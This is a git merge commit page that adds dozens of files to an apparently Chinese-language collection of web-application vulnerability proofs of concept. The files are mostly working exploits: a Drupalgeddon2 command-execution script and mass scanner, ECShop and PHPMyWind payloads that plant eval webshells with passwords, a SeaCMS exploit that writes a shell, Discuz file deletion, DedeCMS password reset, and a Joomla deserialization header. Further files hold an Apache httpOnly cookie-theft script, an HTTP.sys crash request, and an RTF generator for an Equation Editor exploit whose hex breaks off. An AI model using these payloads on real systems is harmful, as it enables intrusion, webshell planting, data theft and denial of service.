Merge branch 'pr/1'

This commit is contained in:
dbgee 2022-01-13 15:17:12 +08:00
commit ce75630379
83 changed files with 4423 additions and 100 deletions

View File

@ -0,0 +1,11 @@
# 任意用户密码重置漏洞(利用弱类型)
## Reference
* [https://xianzhi.aliyun.com/forum/topic/1926](https://xianzhi.aliyun.com/forum/topic/1926)
## 利用条件
* 管理员开启了会员功能
* 该会员没有设置安全问题
## 利用方式
step1: 访问 URL + /member/resetpassword.php?dopost=safequestion&safequestion=0.0&safeanswer=&id=1[修改密码的id]
step2: 访问源码中的跳转链接类似于 URL + member/resetpassword.php?dopost=getpasswd&id=9&key=dqg3OSQo 修改密码即可

View File

@ -0,0 +1 @@
## Discuz!x v_3.4以下 任意文件删除漏洞

View File

@ -0,0 +1,12 @@
<form action="http://127.0.0.1/upload/home.php?mod=spacecp&ac=profile&op=base&deletefile[birthprovince]=aaaaaa"method="POST" enctype="multipart/form-data">
<input type="file"name="birthprovince" id="file" />
<input type="text"name="formhash" value="de746a38"/></p>
<input type="text"name="profilesubmit" value="1"/></p>
<input type="submit"value="Submit" />
</from>
<!--
Usages:
step1 : GET http://127.0.0.1/upload/home.php?mod=spacecp&ac=profile&op=base and POST birthprovince=../../../test.txt[the file you delete]&profilesubmit=1&formhash=2fce4b73[your hash]
step2 : upload jpg from form.php then file delete
-->

View File

@ -0,0 +1,24 @@
#!/usr/bin/env
import sys
import requests
print ('################################################################')
print ('# Proof-Of-Concept for CVE-2018-7600')
print ('# by Vitalii Rudnykh')
print ('# Thanks by AlbinoDrought, RicterZ, FindYanot, CostelSalanders')
print ('# https://github.com/a2u/CVE-2018-7600')
print ('################################################################')
print ('Provided only for educational or information purposes\n')
print ('a little change by MrSm1th\n')
print ('Usage:python CVE-2018-7600.py id(command)\n')
target = raw_input('Enter target url (example: https://domain.ltd/): ')
url = target + 'user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax'
payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup','mail[#markup]':sys.argv[1]}
r = requests.post(url, data=payload)
if r.status_code != 200:
sys.exit("Not exploitable")
else:
print r.text

View File

@ -0,0 +1,104 @@
#!/usr/bin/python
import requests
import threading
import Queue
import sys
import time
import argparse
import os
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
#Drupal Drupalgeddon 2
#(SA-CORE-2018-002 / CVE-2018-7600)
#Exploit by Dan Sharvit - (Shlacky) - Cynoia.com linkedin.com/in/dansharv
#https://github.com/sl4cky/CVE-2018-7600
#mass vulnerability checker
G = '\033[92m' # green
Y = '\033[93m' # yellow
B = '\033[94m' # blue
R = '\033[91m' # red
W = '\033[0m' # white
def parse_args():
# parse the arguments
parser = argparse.ArgumentParser(epilog='')
parser._optionals.title = "OPTIONS"
parser.add_argument('-f', '--file', help="file with urls to test", required=True)
parser.add_argument('-o', '--output', help="output to write vulnerable servers", required=False)
parser.add_argument('-t', '--threads', help="amount of threads", required=False, default=10)
return parser.parse_args()
class exploit(threading.Thread):
def __init__(self,queue):
threading.Thread.__init__(self)
self.queue = queue
def write_to_file(self,url):
with open(output,'a+') as f:
f.write(url + "\n")
f.close()
def check_url(self,url):
target_url = "{}/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax".format(url)
try:
r = requests.post(target_url, headers = {'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36'}, data={"form_id": "user_register_form", "_drupal_ajax": "1", "mail[#post_render][]": "exec", "mail[#type]": "markup", "mail[#markup]": "echo 'hehe'"})
if r.status_code == 200:
print "{}[!] {} is vulnerable{}".format(R,url,W)
if output:
self.write_to_file(url)
else:
print "[*] - Testing {}".format(url)
except:
"[*] An error occured"
sys.exit(1)
def run(self):
while True:
try:
url = self.queue.get(timeout=0.2)
except:
continue
self.check_url(url)
self.queue.task_done()
def main():
queue = Queue.Queue()
if os.path.isfile(file) == False:
print "[*] Your inputfile doesn't exist"
sys.exit(1)
global urls
urls = open(file, 'r').read().splitlines()
for i in range(threads):
t = exploit(queue)
t.setDaemon(True)
t.start()
for url in urls:
queue.put(url)
queue.join()
if __name__ == '__main__':
args = parse_args()
file = args.file
threads = args.threads
output = args.output
main()

View File

@ -0,0 +1,11 @@
# CVE-2018-7600
## THANKS
* [https://github.com/g0rx/CVE-2018-7600-Drupal-RCE](https://github.com/g0rx/CVE-2018-7600-Drupal-RCE)
## POC
* CVE-2018-7600.py为任意命令执行脚本
* CVE-2018-7600plus.py为批量检测脚本

View File

@ -0,0 +1,15 @@
# ECShop <= 2.7.x/3.6.x RCE
## POC
```
curl http://xxx/user.php -d 'action=login&vulnspy=phpinfo();exit;' -H 'Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:3:{s:2:"id";s:3:"'"'"'/*";s:3:"num";s:201:"*/ union select 1,0x272F2A,3,4,5,6,7,8,0x7b247b2476756c6e737079275d3b6576616c2f2a2a2f286261736536345f6465636f646528275a585a686243676b5831425055315262646e5673626e4e77655630704f773d3d2729293b2f2f7d7d,0--";s:4:"name";s:3:"ads";}554fcae493e564ee0dc75bdf2ebf94ca'
```
## GetShell
```
curl http://xxx/ecshop/user.php -d "action=login&vulnspy=eval/**/(base64_decode(ZmlsZV9wdXRfY29udGVudHMoJ3Z1bG5zcHkucGhwJywnPD9waHAgZXZhbCgkX1JFUVVFU1RbdnVsbnNweV0pOycpOw));exit;" \-H 'Referer: 45ea207d7a2b68c49582d2d22adf953aads|a:3:{s:3:"num";s:207:"*/ select 1,0x2720756e696f6e2f2a,3,4,5,6,7,8,0x7b247b2476756c6e737079275d3b6576616c2f2a2a2f286261736536345f6465636f646528275a585a686243676b5831425055315262646e5673626e4e77655630704f773d3d2729293b2f2f7d7d,0--";s:2:"id";s:9:"'"'"' union/*";s:4:"name";s:3:"ads";}45ea207d7a2b68c49582d2d22adf953a'
```
**Shell address : http://xxx/ecshop/vulnspy.php password : vulnspy**

View File

@ -0,0 +1,16 @@
# Electron<v.1.8.2-beta.4 RCE - CVE-2018-1000006 only for windows
## Reference
* [https://xianzhi.aliyun.com/forum/topic/1990](https://xianzhi.aliyun.com/forum/topic/1990)
* [https://electronjs.org/blog/protocol-handler-fix](https://electronjs.org/blog/protocol-handler-fix)
## Payload
```
chybeta://?" "--no-sandbox" "--gpu-launcher=cmd.exe /c start calc
当用户点击poc.html会执行命令
```
## 复现
* p师傅的项目里面有复现环境git地址[https://github.com/vulhub/vulhub.git](https://github.com/vulhub/vulhub.git)

View File

@ -0,0 +1,8 @@
<html>
<head>
POC for CVE-2018-1000006
</head>
<body>
<a class="protocol" href='chybeta://?" "--no-sandbox" "--gpu-launcher=cmd.exe /c start calc'><h3>payload: chybeta://?" "--no-sandbox" "--gpu-launcher=cmd.exe /c start calc</h3></a>
</body>
</html>

View File

@ -0,0 +1,11 @@
# Joomla远程代码执行漏洞
## 影响范围
* `Joomla 1.5 to 3.4 all version`
## 分析
* [https://www.leavesongs.com/PENETRATION/joomla-unserialize-code-execute-vulnerability.html](https://www.leavesongs.com/PENETRATION/joomla-unserialize-code-execute-vulnerability.html)
* PHP Session 序列化及反序列化处理器设置使用不当带来的安全隐患[https://github.com/80vul/phpcodz/blob/master/research/pch-013.md](https://github.com/80vul/phpcodz/blob/master/research/pch-013.md)
* `利用'𝌆'(%F0%9D%8C%86)字符将utf-8的字段截断.`
## POC
```
User-Agent: 123}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:37:"ρhιτhσπpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}𝌆
```

View File

@ -1,9 +1,9 @@
漏洞详情:
LDAP注入漏洞(盲注)
### 漏洞详情:
* LDAP注入漏洞(盲注)
漏洞利用条件:
Joomla! 1.5 <= 3.7.5
### 漏洞利用条件:
* `Joomla! 1.5 <= 3.7.5`
Joomla!配置通过LDAP认证
* Joomla!配置通过LDAP认证
该漏洞不是由配置缺陷造成,攻击者不需要任何权限就可以利用此漏洞。
* 该漏洞不是由配置缺陷造成,攻击者不需要任何权限就可以利用此漏洞。

View File

@ -0,0 +1,24 @@
# PHPMyWind 2014-2017 getshell
## From
* PHPMyWind SQL注入 无限制 [wooyun-2015-089760](http://www.loner.fm/bugs/bug_detail.php?wybug_id=wooyun-2015-089760)
## POC
PSPOC 已做改动
0. 爆前缀
```
/member.php?a=quesfind
POSTDATAuname=testaa union select 1&answer=2
```
1. 重置后台密码为 admin
```
/4g.php?m=show&cid=2&tbname=pmw_admin` SET password=0x6333323834643066393436303664653166643261663137326162613135626633 WHERE 1=1 or @`'` -- @`'`
```
2. 后台 -> 数据库管理 -> 执行 SQL
```
insert into `pmw_webconfig`(`varname`, `varvalue`, `vartype`) values('test', 'file_put_contents("demo.php", \'<?php @eval($_POST[x]) ?>\')', 'number')
执行完成后去站点管理创建一个站点
webshell/admin/demo.php
```

View File

@ -1 +1 @@
PHPcms v9.6.0 任意文件上传 可直接Getshell
## PHPcms v9.6.0 任意文件上传 可直接Getshell

View File

@ -0,0 +1,2 @@
### 漏洞详情:
* 漏洞位于`search.php`处,`echoSearchPage()函数对html中的searchpage标签进行了多次的替换多次替换过程中不断组合形成payload`

View File

@ -0,0 +1,41 @@
#coding = utf8
#author : Mr5m1th
#PostData = searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&ver=OST[9]))&9[]=fwrite(&9[]=fopen('Mr.php','w')&9[]=,'<?php eval($_POST["Mr"]);?>');
import hackhttp
import sys
import requests
def exploit(url):
Url = url + "/search.php"
print "[*]Exploit Url:"+url
raw = '''POST /search.php HTTP/1.1
Host: %s
Proxy-Connection: keep-alive
Content-Length: 22
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.110 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: %s
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8
searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&ver=OST[9]))&9[]=fwrite(&9[]=fopen('Mr.php','w')&9[]=,'<?php eval($_POST["Mr"]);?>');
'''%(url,Url)
hh = hackhttp.hackhttp()
try:
a,b,c,d,e = hh.http(url = Url ,raw = raw)
except:
print "[-]SomeError Happened!"
if __name__ == '__main__':
url = sys.argv[1]
exploit(url)
s = requests.session()
if s.get(url+"/Mr.php",verify=False).status_code == 200:
print "[*]Exploit Sucess , Shell: "+url+"/Mr.php"
else:
print "[-]Exploit Fail"

View File

@ -0,0 +1,20 @@
# WordPress ≤ 4.7.4 XML-RPC API POST META 未校验漏洞
* 官方[https://wordpress.org/news/2017/05/wordpress-4-7-5/](https://wordpress.org/news/2017/05/wordpress-4-7-5/)
* POC来自[https://medium.com/websec/wordpress-sqli-poc-f1827c20bf8e](https://medium.com/websec/wordpress-sqli-poc-f1827c20bf8e)
### POC
```php
$usr = 'author';
$pwd = 'author';
$xmlrpc = 'http://local.target/xmlrpc.php';
$client = new IXR_Client($xmlrpc);
$content = array("ID" => 6, 'meta_input' => array("_thumbnail_id"=>"5 %1$%s hello"));
$res = $client->query('wp.editPost',0, $usr, $pwd, 6/*post_id*/, $content);
```
## Excute The SQL Payload
以管理员的方式登陆
`http://local.target/wp-admin/upload.php`
`local.target/wp-admin/upload.php?_wpnonce=daab7cfabf&action=delete&media%5B%5D=5%20%251%24%25s%20hello`
hello换成我们的Payload

View File

@ -0,0 +1,21 @@
# WordPress ≤ 4.8.2 POST META 校验绕过漏洞
## From
* WordPress post meta data checks bypass[https://hackerone.com/reports/265484](https://hackerone.com/reports/265484)
* WordPress <= 4.8.2 SQL Injection POC[http://blog.vulspy.com/2017/11/09/Wordpress-4-8-2-SQL-Injection-POC/](http://blog.vulspy.com/2017/11/09/Wordpress-4-8-2-SQL-Injection-POC/)
## POC
```php
$usr = 'author';
$pwd = 'author';
$xmlrpc = 'http://local.target/xmlrpc.php';
$client = new IXR_Client($xmlrpc);
$content = array("ID" => 6, 'meta_input' => array("_thumbnail_id"=>"xxx"));
$res = $client->query('wp.editPost',0, $usr, $pwd, 6/*post_id*/, $content);
```
### 用`%00_`来bypass
### STEP
* Add New Custom Field, Name:_thumbnail_id Value:`55 %1$%s or sleep(10)#`
* Click Add Custom Field button.
* Modify the HTTP request, `_thumbnail_id => %00_thumbnail_id`
* Launch the attack. Visit `/wp-admin/edit.php?action=delete&_wpnonce=xxx&ids=55 %1$%s or sleep(10)#.`

View File

@ -1,6 +1,6 @@
sugarCRM反序列化漏洞(对象注入漏洞)绕过__wakeup
# sugarCRM反序列化漏洞(对象注入漏洞)绕过__wakeup
影响版本 SugarCRM <= 6.5.23 PHP5 < 5.6.25 PHP7 < 7.0.10
### 影响版本 `SugarCRM <= 6.5.23 PHP5 < 5.6.25 PHP7 < 7.0.10`
修复建议:
include/utils.php sugar_unserialize函数正则匹配修正为 /[oc]:[^:]*\d+:/i
### 修复建议:
include/utils.php sugar_unserialize函数正则匹配修正为 /[oc]:[^:]*\d+:/i··

View File

@ -1,7 +1,7 @@
漏洞详情 :
1. SQL注入漏洞->modules/Emails/DetailView.php $query语句->$parent_id 中加入 \ 可绕过防护措施
2.CSRF+盲注
3.对象注入
4:认证文件泄露(任意文件读取)->modules/Connecors/controller.php->action_CallRest()函数->/index.php?...&module=CallRest&url=/etc/passwd 可读取配置文件
利用条件 :
1 3 4 只能通过一个有效的用户会话进行访问并利用 2 则可以直接利用
## 漏洞详情
* SQL注入漏洞->modules/Emails/DetailView.php $query语句->$parent_id 中加入 \ 可绕过防护措施 *
* CSRF+盲注
* 对象注入
* 认证文件泄露(任意文件读取)->modules/Connecors/controller.php->action_CallRest()函数->/index.php?...&module=CallRest&url=/etc/passwd 可读取配置文件
## 利用条件 :
1 3 4 只能通过一个有效的用户会话进行访问并利用 2 则可以直接利用

View File

@ -0,0 +1,105 @@
// Most browsers limit cookies to 4k characters, so we need multiple
function setCookies (good) {
// Construct string for cookie value
var str = "";
for (var i=0; i< 819; i++) {
str += "x";
}
// Set cookies
for (i = 0; i < 10; i++) {
// Expire evil cookie
if (good) {
var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
}
// Set evil cookie
else {
var cookie = "xss"+i+"="+str+";path=/";
}
document.cookie = cookie;
}
}
function makeRequest() {
setCookies();
function parseCookies () {
var cookie_dict = {};
// Only react on 400 status
if (xhr.readyState === 4 && xhr.status === 400) {
// Replace newlines and match <pre> content
var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
if (content.length) {
// Remove Cookie: prefix
content = content[1].replace("Cookie: ", "");
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
// Add cookies to object
for (var i=0; i<cookies.length; i++) {
var s_c = cookies[i].split('=',2);
cookie_dict[s_c[0]] = s_c[1];
}
}
// Unset malicious cookies
setCookies(true);
alert(JSON.stringify(cookie_dict));
}
}
// Make XHR request
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = parseCookies;
xhr.open("GET", "/", true);
xhr.send(null);
}
makeRequest();// Most browsers limit cookies to 4k characters, so we need multiple
function setCookies (good) {
// Construct string for cookie value
var str = "";
for (var i=0; i< 819; i++) {
str += "x";
}
// Set cookies
for (i = 0; i < 10; i++) {
// Expire evil cookie
if (good) {
var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
}
// Set evil cookie
else {
var cookie = "xss"+i+"="+str+";path=/";
}
document.cookie = cookie;
}
}
function makeRequest() {
setCookies();
function parseCookies () {
var cookie_dict = {};
// Only react on 400 status
if (xhr.readyState === 4 && xhr.status === 400) {
// Replace newlines and match <pre> content
var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
if (content.length) {
// Remove Cookie: prefix
content = content[1].replace("Cookie: ", "");
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
// Add cookies to object
for (var i=0; i<cookies.length; i++) {
var s_c = cookies[i].split('=',2);
cookie_dict[s_c[0]] = s_c[1];
}
}
// Unset malicious cookies
setCookies(true);
alert(JSON.stringify(cookie_dict));
}
}
// Make XHR request
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = parseCookies;
xhr.open("GET", "/", true);
xhr.send(null);
}
makeRequest();

View File

@ -0,0 +1,10 @@
# Apache httpOnly Cookie Disclosure(CVE-2012-0053)
## POC
* 来自[https://gist.github.com/pilate/1955a1c28324d4724b7b/7fe51f2a66c1d4a40a736540b3ad3fde02b7fb08](https://gist.github.com/pilate/1955a1c28324d4724b7b/7fe51f2a66c1d4a40a736540b3ad3fde02b7fb08)
* [http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0053](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0053)
## 利用方法
1. 打开Google访问存在此漏洞的网站。
2. F12开启控制台,Console,将CVE-2017-0053.js中的代码复制出来并且放在Console中执行。

View File

@ -0,0 +1,4 @@
# Microsoft Windows HTTP.sys(CVE-2015-1635)
蓝屏POC
* `wget http://www.host.com --header="Range: bytes=0-18446744073709551615"`

View File

@ -0,0 +1,203 @@
<?php
class VulnStatus
{
const FAIL = 0;
const VULN = 1;
const VULN_NOT_MS = 2;
const PATCHED = 3;
const NOT_VULN = 4;
const NOT_VULN_MS = 5;
const NOT_VULN_CF = 6;
public static function AsString( $status, $host )
{
switch( $status )
{
case self::FAIL : return ';<div class="alert alert-warning">无法连接到 <b>'; . $host . ';</b> 测试漏洞。</div>';;
case self::VULN : return ';<div class="alert alert-danger"><b>'; . $host . ';</b> 存在漏洞。</div>';;
case self::VULN_NOT_MS: return ';<div class="alert alert-warning"><b>'; . $host . ';</b> 可能存在漏洞但它好像没使用IIS。</div>';;
case self::PATCHED : return ';<div class="alert alert-success"><b>'; . $host . ';</b> 已修复。</div>';;
case self::NOT_VULN : return ';<div class="alert alert-info">不能识别补丁状态 <b>'; . $host . ';</b>, 并没有使用IIS可能不存在漏洞。</div>';;
case self::NOT_VULN_MS: return ';<div class="alert alert-info">不能识别补丁状态 <b>'; . $host . ';</b>. 可能不存在漏洞。</div>';;
case self::NOT_VULN_CF: return ';<div class="alert alert-success"><b>'; . $host . ';</b> 可能使用了CloudFlare CDN加速导致漏洞无法检测或不存在。</div>';;
}
return ';好像坏了';;
}
}
$host = false;
$status = false;
$url = filter_input( INPUT_GET, ';host';, FILTER_SANITIZE_URL );
if( !empty( $url ) && parse_url( $url, PHP_URL_SCHEME ) === null )
{
$url = ';http://'; . $url;
}
$port = parse_url( $url, PHP_URL_PORT );
if( $port === null )
{
$port = 80;
}
$url = parse_url( $url, PHP_URL_HOST );
if( $url !== null )
{
$cachekey = ';ms15034_'; . $url . ';_'; . $port;
$cachetime = 300; // 5 minutes
$host = htmlspecialchars( $url, ENT_HTML5 );
if( $port !== 80 )
{
$host .= ';:'; . $port;
}
$memcached = new Memcached( );
$memcached->addServer( ';/var/run/memcached/memcached.sock';, 0 );
$status = $memcached->get( $cachekey );
if( $status === false )
{
$fp = @fsockopen( $url, $port, $errno, $errstr, 5 );
if( $fp === false )
{
$status = VulnStatus::FAIL;
}
else
{
stream_set_timeout( $fp, 5 );
$header = "GET / HTTP/1.1\r\n";
$header .= "Host: stuff\r\n";
$header .= "Range: bytes=0-18446744073709551615\r\n";
$header .= "Connection: close\r\n\r\n";
fwrite( $fp, $header );
$response = fread( $fp, 1024 );
fclose( $fp );
if( strpos( $response, ';您的请求范围不符合'; ) !== false )
{
$status = strpos( $response, ';Microsoft'; ) === false ? VulnStatus::VULN_NOT_MS : VulnStatus::VULN;
}
else if( strpos( $response, ';请求一个无效的header头部'; ) !== false )
{
$cachetime = 3600; // 缓存时间
$status = VulnStatus::PATCHED;
}
else if( strpos( $response, ';Microsoft'; ) === false )
{
if( strpos( $response, ';403 Forbidden'; ) !== false && strpos( $response, ';cloudflare-nginx'; ) !== false )
{
$status = VulnStatus::NOT_VULN_CF;
}
else
{
$status = VulnStatus::NOT_VULN;
}
}
else
{
$status = VulnStatus::NOT_VULN_MS;
}
}
unset( $fp, $header, $response );
$memcached->set( $cachekey, $status, $cachetime );
}
$status = VulnStatus::AsString( $status, $host );
}
?>
<!DOCTYPE HTML>
<html>
<head>
<meta charset="utf-8">
<meta name="theme-color" content="#424242">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>MS15-034 测试</title>
<link href="//maxcdn.bootstrapcdn.com/bootstrap/3.3.4/css/bootstrap.min.css" rel="stylesheet">
<style type="text/css">
.container {
max-width: 900px;
}
.masthead {
position: relative;
padding: 20px 0;
text-align: center;
color: #fff;
background-color: #424242;
margin-bottom: 20px;
}
.masthead a {
color: #fff;
}
.footer {
text-align: center;
padding: 15px;
color: #555;
}
.footer span {
color: #FA5994;
}
.form-inline {
text-align: center;
margin-bottom: 20px;
}
.github {
position: absolute;
top: 0;
right: 0;
}
</style>
</head>
<body>
<div>
<div>
<h1>HTTP.sys 堆栈漏洞测试</h1>
<h3>输入一个URL或主机名来测试服务器的 <a href="https://technet.microsoft.com/en-us/library/security/ms15-034.aspx" target="_blank">MS15-034</a> / <a href="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-1635" target="_blank">CVE-2015-1635</a>.</h3>
</div>
</div>
<div>
<blockquote>
<p>在HTTP协议栈HTTP.sys造成当HTTP协议堆栈不正确地分析特制的HTTP请求的远程代码执行漏洞。成功利用此漏洞谁的攻击者可以在系统帐户的上下文中执行任意代码。</p>
<p>要利用此漏洞攻击者必须发送一个特制的HTTP请求发送到受影响的系统。此更新通过修改Windows HTTP协议栈处理请求解决该漏洞。</p>
</blockquote>
<form id="js-form" method="GET">
<div>
<input type="text" class="form-control input-lg" id="js-input" placeholder="baidu.com" name="host" autofocus<?php if( $host !== false ) { echo '; value="'; . $host . ';"';; } ?>>
<button type="submit" class="btn btn-primary btn-lg">检测</button>
</div>
</form>
<?php if( $status !== false ) { echo $status; } ?>
<div>使用Memcached分布式内存对象缓存系统 | 所有的结果查询会被缓存五分钟</div>
</div>
</body>
</html>

View File

@ -0,0 +1,155 @@
import argparse
import sys
RTF_HEADER = R"""{\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fnil\fcharset0 Calibri;}}
{\*\generator Riched20 6.3.9600}\viewkind4\uc1
\pard\sa200\sl276\slmult1\f0\fs22\lang9"""
RTF_TRAILER = R"""\par}
"""
OBJECT_HEADER = R"""{\object\objemb\objupdate{\*\objclass Equation.3}\objw380\objh260{\*\objdata """
OBJECT_TRAILER = R"""
}{\result {\rtlch\fcs1 \af0 \ltrch\fcs0 \dn8\insrsid95542\charrsid95542 {\pict{\*\picprop\shplid1025{\sp{\sn shapeType}{\sv 75}}{\sp{\sn fFlipH}{\sv 0}}
{\sp{\sn fFlipV}{\sv 0}}{\sp{\sn fLockAspectRatio}{\sv 1}}{\sp{\sn pictureGray}{\sv 0}}{\sp{\sn pictureBiLevel}{\sv 0}}{\sp{\sn fRecolorFillAsPicture}{\sv 0}}{\sp{\sn fUseShapeAnchor}{\sv 0}}{\sp{\sn fFilled}{\sv 0}}{\sp{\sn fHitTestFill}{\sv 1}}
{\sp{\sn fillShape}{\sv 1}}{\sp{\sn fillUseRect}{\sv 0}}{\sp{\sn fNoFillHitTest}{\sv 0}}{\sp{\sn fLine}{\sv 0}}{\sp{\sn fPreferRelativeResize}{\sv 1}}{\sp{\sn fReallyHidden}{\sv 0}}
{\sp{\sn fScriptAnchor}{\sv 0}}{\sp{\sn fFakeMaster}{\sv 0}}{\sp{\sn fCameFromImgDummy}{\sv 0}}{\sp{\sn fLayoutInCell}{\sv 1}}}\picscalex100\picscaley100\piccropl0\piccropr0\piccropt0\piccropb0
\picw353\pich600\picwgoal200\pichgoal340\wmetafile8\bliptag1846300541\blipupi2307{\*\blipuid 6e0c4f7df03da08a8c6c623556e3c652}0100090000035100000000001200000000000500000009020000000005000000020101000000050000000102ffffff00050000002e0118000000050000000b02
00000000050000000c02200240011200000026060f001a00ffffffff000010000000c0ffffffaaffffff00010000ca0100000b00000026060f000c004d61746854797065000040000a00000026060f000a00ffffffff010000000000030000000000}}}}
"""
OBJDATA_TEMPLATE = R"""
01050000020000000b0000004571756174696f6e2e33000000000000000000000c0000d0cf11e0a1
b11ae1000000000000000000000000000000003e000300feff090006000000000000000000000001
0000000100000000000000001000000200000001000000feffffff0000000000000000ffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
fffffffffffffffffffffffffffffffffffffffffffffffffffffffdffffff04000000fefffffffe
fffffffeffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffff52006f006f007400200045006e0074007200790000
00000000000000000000000000000000000000000000000000000000000000000000000000000000
00000016000500ffffffffffffffff0200000002ce020000000000c0000000000000460000000000
000000000000008020cea5613cd30103000000000200000000000001004f006c0065000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000a000201ffffffffffffffffffffffff00000000000000000000000000
0000000000000000000000000000000000000000000000000000001400000000000000010043006f
006d0070004f0062006a000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000120002010100000003000000ffffffff0000000000
00000000000000000000000000000000000000000000000000000000000000010000006600000000
00000003004f0062006a0049006e0066006f00000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000012000201ffffffff04000000ff
ffffff00000000000000000000000000000000000000000000000000000000000000000000000003
0000000600000000000000feffffff02000000fefffffffeffffff050000000600000007000000fe
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffff01000002080000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000100feff030a0000ffffffff02
ce020000000000c000000000000046170000004d6963726f736f6674204571756174696f6e20332e
30000c0000004453204571756174696f6e000b0000004571756174696f6e2e3300f439b271000000
00000000000000000000000000000000000000000000000000000000000000000000000000030004
00000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000001c00000002009ec4a900000000000000c8a75c00c4
